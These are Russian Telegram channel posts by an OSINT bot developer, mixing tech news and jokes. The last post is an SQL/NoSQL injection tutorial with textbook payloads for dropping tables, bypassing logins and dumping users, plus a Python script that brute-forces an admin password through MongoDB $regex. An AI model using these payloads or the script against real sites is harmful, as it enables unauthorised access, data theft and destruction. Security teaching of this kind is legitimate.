Салют! На связи nosint.

Многие знают меня как модератора usersbox.chat, но с другой стороны меня ещё почти никто не видел.

Пора это исправить.

Я занимаюсь автоматизацией, Telegram-экосистемой и разведкой данных.
За моими плечами:

Создание White Search – удобного инструмента для быстрого поиска информации.

Более 80.000 приглашенных людей в сферу “osint-ботов”.

intelpad – это мой личный блокнот.
Здесь будут мои мысли о технологиях, новости из мира OSINT и разработки, новости Telegram, полезные инсайды и, возможно, кусочки кода для своих.

Я НЕ выступаю в роли «гаранта», НЕ занимаюсь скамом, разоблачением личности и прочей белебердой.

Добро пожаловать!

В TON заносят полмиллиарда. Причём не в TON, а через TON.

Libre запускает Telegram Bond Fund – токенизированные облигации Telegram на $500 млн, теперь на нашем родном блокчейне.
5% годовых, классическая доходность, только в обёртке из смарт-контрактов и ончейн-залогов 🤣

По сути, можно будет купить кусочек долга Telegram и использовать его как залог в DeFi. Официально для аккредитованных инвесторов, не для нас с вами, но звучит уже по-взрослому.
Начинается заход жиробасов и любителей кока-колы. Сторонитесь!

Смешно, что в Telegram можно запускать облигации на полмиллиарда, но нельзя написать слово «рассылка» без риска отлететь в вечный сб 😁
Про шлюхоботов и анти-спам систему тг можно даже не говорить…

t.me/intelpad

Без лица, без подписи – в поле залетел новый бот. Выдаёт много и уверенно. Не «старый», не «этичный». Просто появился и сразу в продакшн 😁

Никаких платных подписок, рассылок, каналов, интеграций с маркетингом – просто голая выдача. Разве что реферальная система введена 😀
Зачем, для кого, откуда - неизвестно.
Выгоды для владельцев нет и не будет, если бот останется таким, какой он сейчас.
Пока что это просто странно, нет возможности скрыть свои данные, нет понятия, откуда он появился и кто владелец. Обычно за таким идёт какая-нибудь грязь. Гадать не будем.

Ботоводы уже начали оборачивать его в свои истории. Кто-то цепляет поверх доп-функции, кто-то уже копит не один десяток тысяч рефералов. Началось движение 🤪

Ссылку не кину, бот не назову – думаю, сами догадаетесь.
Если нет – ну и не надо.

А что вы думаете по поводу этого бота? 🧐

t.me/intelpad

XAI спалила API-ключи от ИИ SpaceX и Tesla.

Утечка от разработчика xAI: в паблик попали ключи доступа к закрытым LLM от SpaceX и Tesla.
Всё благодаря тому, что один из девов засунул .env с токенами прямиком в GitHub.

По словам исследователей, утекли ключи к высокоуровневому API, который, вероятно, связан с автопилотом и проприетарными данными. Запуск ракеты через curl
не исключён 😁

xAI, конечно, ключи уже отозвала, но осадочек остался. Особенно у Илона.

Удивительно, как компании на триллион долларов умудряются проворачивать такое в 2025 году.
Но зато у нас теперь есть новый фреймворк Zero-Day Driven Development))))

t.me/intelpad

Когда бог троллинга спустился на землю и устроил извержение.

В 1974 году один чел с уровнем креативности «Илон Маск на максималках» решил, что 1 апреля должно войти в историю. Встречайте: Оливер «Порки» Бикар - человек, который ПОДЖЁГ ВУЛКАН.

Ну как «вулкан»… Спящий, мирный, пушистый Эджкомб на Аляске. Но Порки подумал: «А чё бы не сделать шоу?» - и забросил на вершину горы кучу покрышек. Потом на вертолёте (да, он арендовал вертолёт, это уровень) залез туда, поджёг резину, и вуаля - извержение, дым и паника в городе.

Береговая охрана в шоке, сирены воют, все кричат: «МЫ ВСЁ УМРЁМ!» А сверху, на снегу, аккуратненько выложено: APRIL FOOL 🤡

Полицию он заранее предупредил, но береговую охрану - неее, пускай попотеют 😁

Этот чел не просто поджёг шины. Он поджёг всю систему. Если бы была премия «За вклад в троллинг человечества», ему дали бы пожизненно.

t.me/intelpad

С Днём Победы, друзья!

Сегодня, 9 мая, мы вспоминаем тех, кто отстоял свободу и мир. Их мужество, стойкость и жертвы навсегда останутся в нашей памяти. Честь и благодарность ветеранам — за мирное небо над головой!

И по случаю праздника хочу поделиться новостью: я запустил сайт https://intelpad.ru — он служит удобным переходником в бота White Search.

С праздником Великой Победы! Помним. Гордимся.

В Казахстане легализуют коноплю. Но не радуйтесь раньше времени.

Это не про джа и бонги, а про «техническую коноплю» – без ТГК и кайфа. МВД разъяснило: хотят выращивать её для текстиля, стройматериалов и прочих полезных штук, но не для весёлых вечеров на балконе.

Будет жёсткий контроль, лицензии, возможно, даже форма и отчёты. По сути - попытка превратить сорняк в экспортный ресурс. И да, вырастить втихую «не техническую» не получится: за этим будут следить как за границей госбюджета.

Казахстан пытается зайти в агроиндустрию 2.0. Но звучит так, будто просто хотят переупаковать поле в стартап.

Скоро будем слушать про «экологичный бетон из стебля» и «конопляные кроссовки для устойчивого будущего». Ну а пока ждём: может, и нам останется хоть пара листиков.

t.me/intelpad

SQL и NoSQL инъекции. Теория и практика

Чем отличаются SQL и NoSQL базы, как работают инъекции и как через них можно получить доступ к данным, обойти авторизацию или подобрать пароль к админке.

SQL - это язык, с помощью которого мы управляем реляционными базами данных. Всё хранится в таблицах.

Пример:

users
| id | name | email |
|----|-------|---------------|
| 1 | intelpad | intelpad@mail.ru |

NoSQL - нереляционные базы. Самый популярный пример — MongoDB. Данные чаще всего хранятся в виде JSON-документов:

{
"name": "intelpad",
"email": "intelpad@mail.ru"
}

JSON - это просто текстовый формат, основанный на JavaScript, в котором удобно хранить и передавать данные.

Что такое SQL-инъекция?

Это уязвимость, при которой злоумышленник может внедрить свой SQL-код в запрос, выполняемый сервером. Это позволяет, например, получить все данные, обойти логин, удалить таблицу и т.д

Где искать:

/login
/search
/register
/users
/articles

Примеры SQL-инъекций

Удаление таблицы

intelpad'; DROP TABLE users; --

Если ввод напрямую вставляется в SQL-запрос без фильтрации - таблица users будет удалена.

Обход авторизации

' OR 1=1 --

Если SQL не параметризирован, это условие всегда будет истинным - и авторизация будет пройдена без пароля.

Что делать дальше?

Когда мы нашли уязвимость - можно применять пэйлоады:

Вывести все данные:
' UNION SELECT * FROM users --

Изменить пароль:
UPDATE users SET password='newpass' WHERE username='admin'

NoSQL-инъекция

Пример для MongoDB.

Если backend ожидает JSON, а мы можем его подменить - можем внедрить операторы вроде $regex.

Пошаговый взлом учётки через NoSQL Injection

1. Понимаем, что сервер принимает JSON:

{
"username": "admin",
"password": "123456"
}

2. Подбираем первую букву пароля через $regex:

{
"username": "admin",
"password": { "$regex": "^a" }
}

Если в ответе есть, например, "Welcome admin" - значит пароль начинается на «a»

3. Проверяем длину пароля:

{
"username": "admin",
"password": { "$regex": "^.{7}$" }
}

Если сервер не возвращает ошибку - длина пароля 7 символов.

4. Подбор всех символов по порядку:

#Пример на Python:

import string
import requests

url = "http://site.com/login"
password = ""
possible_characters = string.ascii_letters + string.digits + string.punctuation
password_length = 8

for position in range(1, password_length + 1):
    for char in possible_characters:
        regex = f"^{password + char}"
        data = {
            "username": "admin",
            "password": {"$regex": regex}
        }
        response = requests.post(url, json=data)
        if "Welcome" in response.text:
            password += char
            print(f"Password so far: {password}")
            break

print(f"Final password: {password}")

Другие типы NoSQL-инъекций

Внедрение синтаксиса - полный контроль над запросом

Внедрение операторов - использование логики ||, && и т.д

JavaScript-инъекция - выполнение кода внутри БД (актуально для MongoDB)


Пример уязвимости на сайте

Запрос:

https://site.com/product/search?category=

Вставляем payload:

'fizzy' && 1 && 'x

Если сервер не фильтрует ввод - вернёт все товары.

MongoDB payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Intruder/MongoDB.txt

Общие NoSQL payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Intruder/NoSQL.txt

sqlmap:
https://github.com/sqlmapproject/sqlmap

nosqli:
https://github.com/Charlie-belmer/nosqli

SQLi Payload List:
https://github.com/payloadbox/sql-injection-payload-list

Пример команды:

nosqli scan -t http://localhost:4000/user/lookup?username=test

t.me/intelpad